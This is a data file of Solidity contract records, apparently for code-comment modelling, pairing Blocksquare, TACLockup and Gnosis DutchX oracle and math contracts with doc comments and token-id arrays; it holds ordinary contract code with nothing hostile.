addMemberToBS(address _member) public onlyOwner { memberOfBS[_member] = true; } /** * @dev add new certified partner * @param _cp Wallet address of certified partner * @param _refNumber Reference number of certified partner * @param _name Name of certified partner **/ function createCP(address _cp, string _refNumber, string _name) public onlyOwner { CP memory cp = CP(_refNumber, _name); CPs[_cp] = cp; } /** * @dev add allowance to create buildings in country to certified partner * @param _cp Wallet address of certified partner * @param _factory Factory address **/ function addFactoryToCP(address _cp, address _factory) public onlyOwner { CP storage cp = CPs[_cp]; cp.factories[_factory] = true; } /** * @dev remove allowance to create buildings in country from certified partner * @param _cp Wallet address of certified partner * @param _factory Factory address **/ function removeCP(address _cp, address _factory) public onlyOwner { CP storage cp = CPs[_cp]; cp.factories[_factory] = false; } /** * @dev connect two addresses so that they can send BSPT without fee * @param _from First address * @param _to Second address **/ function addNoFeeAddress(address[] _from, address[] _to) public onlyOwner { require(_from.length == _to.length); for (uint256 i = 0; i < _from.length; i++) { noFeeTransfersAccounts[_from[i]] = _to[i]; noFeeTransfersAccounts[_to[i]] = _from[i]; } } /** * @dev change BTS requirement for buying BSPT * @param _factory Address of factory * @param _amount Amount of required tokens **/ function changeBSTRequirement(address _factory, uint256 _amount) public onlyOwner { requiredBST[_factory] = _amount * 10 ** 18; } /** * @dev add addresses to whitelist for factory * @param _factory Address of factory * @param _addresses Array of addresses to whitelist **/ function addToWhitelist(address _factory, address[] _addresses) public onlyOwner { for (uint256 i = 0; i < _addresses.length; i++) { whitelisted[_factory][_addresses[i]] = true; } } /** * @dev remove address from whitelist * @param _factory Address of factory * @param _user Address of user **/ function removeFromWhitelist(address _factory, address _user) public onlyOwner { whitelisted[_factory][_user] = false; } function changeFees(uint256 _network, uint256 _blocksquare, uint256 _cp, uint256 _firstBuyers) public onlyOwner { require(_network.add(_blocksquare).add(_cp).add(_firstBuyers) == 100); blocksquareFee = _network; networkReserveFundFee = _blocksquare; cpFee = _cp; firstBuyersFee = _firstBuyers; } function changePrestige(address _owner) public onlyOwner { prestigeAddress[_owner] = !prestigeAddress[_owner]; } /** * @dev check if address is whitelisted for factory * @param _factory Address of factory * @param _user Address of user * @return True if user is whitelisted for given factory, false instead **/ function isWhitelisted(address _factory, address _user) public constant returns (bool) { return whitelisted[_factory][_user]; } /** * @dev get factory address for given country * @param _country Name of country * @return Address of factory **/ function getFactoryForCountry(string _country) public constant returns (address) { return countryFactory[_country]; } /** * @dev check if address is member of Blocksquare * @param _member Address of member * @return True if member is member of Blocksquare, false instead **/ function isBS(address _member) public constant returns (bool) { return memberOfBS[_member]; } /** * @dev check if address has enough BST to buy BSPT * @param _factory Address of factory * @param _address Address of BST owner * @return True if address has enough BST, false instead **/ function hasEnoughBST(address _factory, address _address) constant public returns (bool) { return BST.balanceOf(_address) >= requiredBST[_factory]; } /** * @dev amount of BST required to buy BSPT * @param _factory Address of factory * @return Amount of BST required **/ function amountOfBSTRequired(address _factory) constant public returns (uint256) { return requiredBST[_factory]; } /** * @dev check if certified partner can create new building in factory * @param _cp Wallet address of certified partner * @param _factory Factory address * @return True if certified partner can create buildings, false instead **/ function canCPCreateInFactory(address _cp, address _factory) constant public returns (bool) { return CPs[_cp].factories[_factory]; } /** * @dev get info about certified partner * @param _cp Wallet address of certified partner * @return Certified partner's reference number and name **/ function getCP(address _cp) constant public returns (string, string) { return (CPs[_cp].refNumber, CPs[_cp].name); } /** * @dev check if two address can send BSPT without fee; * @param _from From address * @param _to To address * @return True if addresses can send BSPT without fee between them, false instead **/ function canMakeNoFeeTransfer(address _from, address _to) constant public returns (bool) { return noFeeTransfersAccounts[_from] == _to; } function getNetworkFee() public constant returns (uint256) { return networkReserveFundFee; } function getBlocksquareFee() public constant returns (uint256) { return blocksquareFee; } function getCPFee() public constant returns (uint256) { return cpFee; } function getFirstBuyersFee() public constant returns (uint256) { return firstBuyersFee; } function hasPrestige(address _owner) public constant returns(bool) { return prestigeAddress[_owner]; } }
* @dev remove address from whitelist @param _factory Address of factory @param _user Address of user/
function removeFromWhitelist(address _factory, address _user) public onlyOwner { whitelisted[_factory][_user] = false; }
5,396,135
[ 1, 4479, 1758, 628, 10734, 225, 389, 6848, 5267, 434, 3272, 225, 389, 1355, 5267, 434, 729, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 22386, 18927, 12, 2867, 389, 6848, 16, 1758, 389, 1355, 13, 1071, 1338, 5541, 288, 203, 3639, 26944, 63, 67, 6848, 6362, 67, 1355, 65, 273, 629, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Audit report available at https://www.tkd-coop.com/files/audit.pdf //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; //Control who can access various functions. contract AccessControl { address payable public creatorAddress; uint16 public totalDirectors = 0; mapping(address => bool) public directors; modifier onlyCREATOR() { require( msg.sender == creatorAddress, "You are not the creator of the contract." ); _; } // Constructor constructor() { creatorAddress = payable(msg.sender); } } // Interface to TAC Contract abstract contract ITAC { function transfer(address recipient, uint256 amount) public virtual returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) public virtual returns (bool); function balanceOf(address account) public view virtual returns (uint256); } contract TACLockup is AccessControl { /////////////////////////////////////////////////DATA STRUCTURES AND GLOBAL VARIABLES /////////////////////////////////////////////////////////////////////// // Lockup duration in seconds for each time period uint64 public lockupDuration = 604800; // Hardcoded limits that cannot be changed by admin. // Time is in seconds. uint64 public minLockupDuration = 1; uint64 public maxLockupDuration = 2592000; // 100/removalFactor = % of TAC that can be removed each time. uint64 public removalFactor = 10; // minimum amount of a removal if they have that much balance uint256 public minRemovalAmount = 5000000000000000000; uint64 public minRemovalFactor = 1; //100% removal, no limit uint64 public maxRemovalFactor = 100; //1% removal mapping(address => uint256) public lockedTACForUser; mapping(address => uint64) public lastRemovalTime; address TACContract = 0xdbCCd6D9640E3aaCcb288be5C6ee6455d940cede; //Will be changed by admin once TACContract is deployed. address TACTreasuryContract = 0xdbCCd6D9640E3aaCcb288be5C6ee6455d940cede; //Will be changed by admin once TACContract is deployed. //This function is separate from setParameters to lower the chance of accidental override. function setTACAddress(address _TACContract) public onlyCREATOR { TACContract = _TACContract; } function setTACTreasuryAddress(address _TACTreasuryContract) public onlyCREATOR { TACTreasuryContract = _TACTreasuryContract; } //Admin function to adjust the lockup duration. Adjustments must stay within pre-defined limits. function setParameters( uint64 _lockupDuration, uint64 _removalFactor, uint256 _minRemovalAmount ) public onlyCREATOR { if ( (_lockupDuration <= maxLockupDuration) && (_lockupDuration >= minLockupDuration) ) { lockupDuration = _lockupDuration; } if ( (_removalFactor <= maxRemovalFactor) && (_removalFactor >= minRemovalFactor) ) { removalFactor = _removalFactor; } minRemovalAmount = _minRemovalAmount; } //Returns current valued function getValues() public view returns (uint64 _lockupDuration, uint64 _removalFactor) { _lockupDuration = lockupDuration; _removalFactor = removalFactor; } //Function called by the TAC contract to adjust the locked up balance of a user. function adjustBalance(address user, uint256 amount) public { require( msg.sender == TACTreasuryContract, "Only the TAC Treasury Contract can call this function" ); lockedTACForUser[user] += amount; //If the user has no balance, we need to set this as the current last removal time. if (lastRemovalTime[user] == 0) { lastRemovalTime[user] = uint64(block.timestamp); } } //Function to lock your own TAC. //Users must have previously approved this contract. function lockMyTAC(uint256 amount) public { ITAC TAC = ITAC(TACContract); TAC.transferFrom(msg.sender, address(this), amount); lockedTACForUser[msg.sender] += amount; //If the user has no balance, we need to set this as the current last removal time. if (lastRemovalTime[msg.sender] == 0) { lastRemovalTime[msg.sender] = uint64(block.timestamp); } } // Returns returns the amount of TAC a user has locked as well as the last removal time. function getUserInfo(address user) public view returns (uint256 lockedAmount, uint64 time) { lockedAmount = lockedTACForUser[user]; time = lastRemovalTime[user]; } // Returns the amount of locked TAC a user has function getTACLocked(address user) public view returns (uint256 lockedAmount) { lockedAmount = lockedTACForUser[user]; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } // Function any user can call to receive their TAC allocation. function claimTAC() public { require( lockedTACForUser[msg.sender] > 0, "You need to have received some TAC first" ); require( block.timestamp > lastRemovalTime[msg.sender] + lockupDuration, "You need to wait a bit longer" ); ITAC TAC = ITAC(TACContract); //Calculate amount to transfer and adjust removal time uint256 transferAmount = div( lockedTACForUser[msg.sender], removalFactor ); lastRemovalTime[msg.sender] = uint64(block.timestamp); //If they have enough balance but the transfer amount is small, transfer the min amount. if ( (transferAmount <= minRemovalAmount) && (lockedTACForUser[msg.sender] > minRemovalAmount) ) { transferAmount = minRemovalAmount; } //Transfer entire balance if min transfer amount is greater than their balance. if (minRemovalAmount > lockedTACForUser[msg.sender]) { transferAmount = lockedTACForUser[msg.sender]; } //Decrement user's balance and transfer lockedTACForUser[msg.sender] = lockedTACForUser[msg.sender] - transferAmount; TAC.transfer(msg.sender, transferAmount); } }
Will be changed by admin once TACContract is deployed.
address TACTreasuryContract = 0xdbCCd6D9640E3aaCcb288be5C6ee6455d940cede;
13,115,307
[ 1, 13670, 506, 3550, 635, 3981, 3647, 399, 2226, 8924, 353, 19357, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 399, 6526, 266, 345, 22498, 8924, 273, 374, 92, 1966, 6743, 72, 26, 40, 29, 1105, 20, 41, 23, 7598, 39, 7358, 22, 5482, 2196, 25, 39, 26, 1340, 1105, 2539, 72, 29, 7132, 311, 323, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.21; // File: contracts/Oracle/DSAuth.sol contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() public { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } // File: contracts/Oracle/DSMath.sol contract DSMath { /* standard uint256 functions */ function add(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x + y) >= x); } function sub(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x - y) <= x); } function mul(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x * y) >= x); } function div(uint256 x, uint256 y) constant internal returns (uint256 z) { z = x / y; } function min(uint256 x, uint256 y) constant internal returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) constant internal returns (uint256 z) { return x >= y ? x : y; } /* uint128 functions (h is for half) */ function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x + y) >= x); } function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x - y) <= x); } function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) { assert((z = x * y) >= x); } function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = x / y; } function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) { return x <= y ? x : y; } function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) { return x >= y ? x : y; } /* int256 functions */ function imin(int256 x, int256 y) constant internal returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) constant internal returns (int256 z) { return x >= y ? x : y; } /* WAD math */ uint128 constant WAD = 10 ** 18; function wadd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function wsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + WAD / 2) / WAD); } function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * WAD + y / 2) / y); } function wmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function wmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } /* RAY math */ uint128 constant RAY = 10 ** 27; function radd(uint128 x, uint128 y) constant internal returns (uint128) { return hadd(x, y); } function rsub(uint128 x, uint128 y) constant internal returns (uint128) { return hsub(x, y); } function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * y + RAY / 2) / RAY); } function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { z = cast((uint256(x) * RAY + y / 2) / y); } function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) { // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It&#39;s O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } function rmin(uint128 x, uint128 y) constant internal returns (uint128) { return hmin(x, y); } function rmax(uint128 x, uint128 y) constant internal returns (uint128) { return hmax(x, y); } function cast(uint256 x) constant internal returns (uint128 z) { assert((z = uint128(x)) == x); } } // File: contracts/Oracle/DSNote.sol contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } // File: contracts/Oracle/DSThing.sol contract DSThing is DSAuth, DSNote, DSMath { } // File: contracts/Oracle/DSValue.sol contract DSValue is DSThing { bool has; bytes32 val; function peek() constant returns (bytes32, bool) { return (val,has); } function read() constant returns (bytes32) { var (wut, has) = peek(); assert(has); return wut; } function poke(bytes32 wut) note auth { val = wut; has = true; } function void() note auth { // unset the value has = false; } } // File: contracts/Oracle/Medianizer.sol contract Medianizer is DSValue { mapping (bytes12 => address) public values; mapping (address => bytes12) public indexes; bytes12 public next = 0x1; uint96 public min = 0x1; function set(address wat) auth { bytes12 nextId = bytes12(uint96(next) + 1); assert(nextId != 0x0); set(next, wat); next = nextId; } function set(bytes12 pos, address wat) note auth { if (pos == 0x0) throw; if (wat != 0 && indexes[wat] != 0) throw; indexes[values[pos]] = 0; // Making sure to remove a possible existing address in that position if (wat != 0) { indexes[wat] = pos; } values[pos] = wat; } function setMin(uint96 min_) note auth { if (min_ == 0x0) throw; min = min_; } function setNext(bytes12 next_) note auth { if (next_ == 0x0) throw; next = next_; } function unset(bytes12 pos) { set(pos, 0); } function unset(address wat) { set(indexes[wat], 0); } function poke() { poke(0); } function poke(bytes32) note { (val, has) = compute(); } function compute() constant returns (bytes32, bool) { bytes32[] memory wuts = new bytes32[](uint96(next) - 1); uint96 ctr = 0; for (uint96 i = 1; i < uint96(next); i++) { if (values[bytes12(i)] != 0) { var (wut, wuz) = DSValue(values[bytes12(i)]).peek(); if (wuz) { if (ctr == 0 || wut >= wuts[ctr - 1]) { wuts[ctr] = wut; } else { uint96 j = 0; while (wut >= wuts[j]) { j++; } for (uint96 k = ctr; k > j; k--) { wuts[k] = wuts[k - 1]; } wuts[j] = wut; } ctr++; } } } if (ctr < min) return (val, false); bytes32 value; if (ctr % 2 == 0) { uint128 val1 = uint128(wuts[(ctr / 2) - 1]); uint128 val2 = uint128(wuts[ctr / 2]); value = bytes32(wdiv(hadd(val1, val2), 2 ether)); } else { value = wuts[(ctr - 1) / 2]; } return (value, true); } } // File: contracts/Oracle/PriceFeed.sol /// price-feed.sol // Copyright (C) 2017 DappHub, LLC // Licensed under the Apache License, Version 2.0 (the "License"). // You may not use this file except in compliance with the License. // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied). contract PriceFeed is DSThing { uint128 val; uint32 public zzz; function peek() public view returns (bytes32, bool) { return (bytes32(val), now < zzz); } function read() public view returns (bytes32) { assert(now < zzz); return bytes32(val); } function post(uint128 val_, uint32 zzz_, address med_) public note auth { val = val_; zzz = zzz_; bool ret = med_.call(bytes4(keccak256("poke()"))); ret; } function void() public note auth { zzz = 0; } } // File: contracts/Oracle/PriceOracleInterface.sol /* This contract is the interface between the MakerDAO priceFeed and our DX platform. */ contract PriceOracleInterface { address public priceFeedSource; address public owner; bool public emergencyMode; event NonValidPriceFeed(address priceFeedSource); // Modifiers modifier onlyOwner() { require(msg.sender == owner); _; } /// @dev constructor of the contract /// @param _priceFeedSource address of price Feed Source -> should be maker feeds Medianizer contract function PriceOracleInterface( address _owner, address _priceFeedSource ) public { owner = _owner; priceFeedSource = _priceFeedSource; } /// @dev gives the owner the possibility to put the Interface into an emergencyMode, which will /// output always a price of 600 USD. This gives everyone time to set up a new pricefeed. function raiseEmergency(bool _emergencyMode) public onlyOwner() { emergencyMode = _emergencyMode; } /// @dev updates the priceFeedSource /// @param _owner address of owner function updateCurator( address _owner ) public onlyOwner() { owner = _owner; } /// @dev returns the USDETH price, ie gets the USD price from Maker feed with 18 digits, but last 18 digits are cut off function getUSDETHPrice() public returns (uint256) { // if the contract is in the emergencyMode, because there is an issue with the oracle, we will simply return a price of 600 USD if(emergencyMode){ return 600; } bytes32 price; bool valid=true; (price, valid) = Medianizer(priceFeedSource).peek(); if (!valid) { NonValidPriceFeed(priceFeedSource); } // ensuring that there is no underflow or overflow possible, // even if the price is compromised uint priceUint = uint256(price)/(1 ether); if (priceUint == 0) return 1; if (priceUint > 1000000) return 1000000; return priceUint; } } // File: @gnosis.pm/util-contracts/contracts/Math.sol /// @title Math library - Allows calculation of logarithmic and exponential functions /// @author Alan Lu - <[email protected]> /// @author Stefan George - <[email protected]> library Math { /* * Constants */ // This is equal to 1 in our calculations uint public constant ONE = 0x10000000000000000; uint public constant LN2 = 0xb17217f7d1cf79ac; uint public constant LOG2_E = 0x171547652b82fe177; /* * Public functions */ /// @dev Returns natural exponential function value of given x /// @param x x /// @return e**x function exp(int x) public pure returns (uint) { // revert if x is > MAX_POWER, where // MAX_POWER = int(mp.floor(mp.log(mpf(2**256 - 1) / ONE) * ONE)) require(x <= 2454971259878909886679); // return 0 if exp(x) is tiny, using // MIN_POWER = int(mp.floor(mp.log(mpf(1) / ONE) * ONE)) if (x < -818323753292969962227) return 0; // Transform so that e^x -> 2^x x = x * int(ONE) / int(LN2); // 2^x = 2^whole(x) * 2^frac(x) // ^^^^^^^^^^ is a bit shift // so Taylor expand on z = frac(x) int shift; uint z; if (x >= 0) { shift = x / int(ONE); z = uint(x % int(ONE)); } else { shift = x / int(ONE) - 1; z = ONE - uint(-x % int(ONE)); } // 2^x = 1 + (ln 2) x + (ln 2)^2/2! x^2 + ... // // Can generate the z coefficients using mpmath and the following lines // >>> from mpmath import mp // >>> mp.dps = 100 // >>> ONE = 0x10000000000000000 // >>> print(&#39;\n&#39;.join(hex(int(mp.log(2)**i / mp.factorial(i) * ONE)) for i in range(1, 7))) // 0xb17217f7d1cf79ab // 0x3d7f7bff058b1d50 // 0xe35846b82505fc5 // 0x276556df749cee5 // 0x5761ff9e299cc4 // 0xa184897c363c3 uint zpow = z; uint result = ONE; result += 0xb17217f7d1cf79ab * zpow / ONE; zpow = zpow * z / ONE; result += 0x3d7f7bff058b1d50 * zpow / ONE; zpow = zpow * z / ONE; result += 0xe35846b82505fc5 * zpow / ONE; zpow = zpow * z / ONE; result += 0x276556df749cee5 * zpow / ONE; zpow = zpow * z / ONE; result += 0x5761ff9e299cc4 * zpow / ONE; zpow = zpow * z / ONE; result += 0xa184897c363c3 * zpow / ONE; zpow = zpow * z / ONE; result += 0xffe5fe2c4586 * zpow / ONE; zpow = zpow * z / ONE; result += 0x162c0223a5c8 * zpow / ONE; zpow = zpow * z / ONE; result += 0x1b5253d395e * zpow / ONE; zpow = zpow * z / ONE; result += 0x1e4cf5158b * zpow / ONE; zpow = zpow * z / ONE; result += 0x1e8cac735 * zpow / ONE; zpow = zpow * z / ONE; result += 0x1c3bd650 * zpow / ONE; zpow = zpow * z / ONE; result += 0x1816193 * zpow / ONE; zpow = zpow * z / ONE; result += 0x131496 * zpow / ONE; zpow = zpow * z / ONE; result += 0xe1b7 * zpow / ONE; zpow = zpow * z / ONE; result += 0x9c7 * zpow / ONE; if (shift >= 0) { if (result >> (256-shift) > 0) return (2**256-1); return result << shift; } else return result >> (-shift); } /// @dev Returns natural logarithm value of given x /// @param x x /// @return ln(x) function ln(uint x) public pure returns (int) { require(x > 0); // binary search for floor(log2(x)) int ilog2 = floorLog2(x); int z; if (ilog2 < 0) z = int(x << uint(-ilog2)); else z = int(x >> uint(ilog2)); // z = x * 2^-⌊log₂x⌋ // so 1 <= z < 2 // and ln z = ln x - ⌊log₂x⌋/log₂e // so just compute ln z using artanh series // and calculate ln x from that int term = (z - int(ONE)) * int(ONE) / (z + int(ONE)); int halflnz = term; int termpow = term * term / int(ONE) * term / int(ONE); halflnz += termpow / 3; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 5; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 7; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 9; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 11; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 13; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 15; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 17; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 19; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 21; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 23; termpow = termpow * term / int(ONE) * term / int(ONE); halflnz += termpow / 25; return (ilog2 * int(ONE)) * int(ONE) / int(LOG2_E) + 2 * halflnz; } /// @dev Returns base 2 logarithm value of given x /// @param x x /// @return logarithmic value function floorLog2(uint x) public pure returns (int lo) { lo = -64; int hi = 193; // I use a shift here instead of / 2 because it floors instead of rounding towards 0 int mid = (hi + lo) >> 1; while((lo + 1) < hi) { if (mid < 0 && x << uint(-mid) < ONE || mid >= 0 && x >> uint(mid) < ONE) hi = mid; else lo = mid; mid = (hi + lo) >> 1; } } /// @dev Returns maximum of an array /// @param nums Numbers to look through /// @return Maximum number function max(int[] nums) public pure returns (int maxNum) { require(nums.length > 0); maxNum = -2**255; for (uint i = 0; i < nums.length; i++) if (nums[i] > maxNum) maxNum = nums[i]; } /// @dev Returns whether an add operation causes an overflow /// @param a First addend /// @param b Second addend /// @return Did no overflow occur? function safeToAdd(uint a, uint b) internal pure returns (bool) { return a + b >= a; } /// @dev Returns whether a subtraction operation causes an underflow /// @param a Minuend /// @param b Subtrahend /// @return Did no underflow occur? function safeToSub(uint a, uint b) internal pure returns (bool) { return a >= b; } /// @dev Returns whether a multiply operation causes an overflow /// @param a First factor /// @param b Second factor /// @return Did no overflow occur? function safeToMul(uint a, uint b) internal pure returns (bool) { return b == 0 || a * b / b == a; } /// @dev Returns sum if no overflow occurred /// @param a First addend /// @param b Second addend /// @return Sum function add(uint a, uint b) internal pure returns (uint) 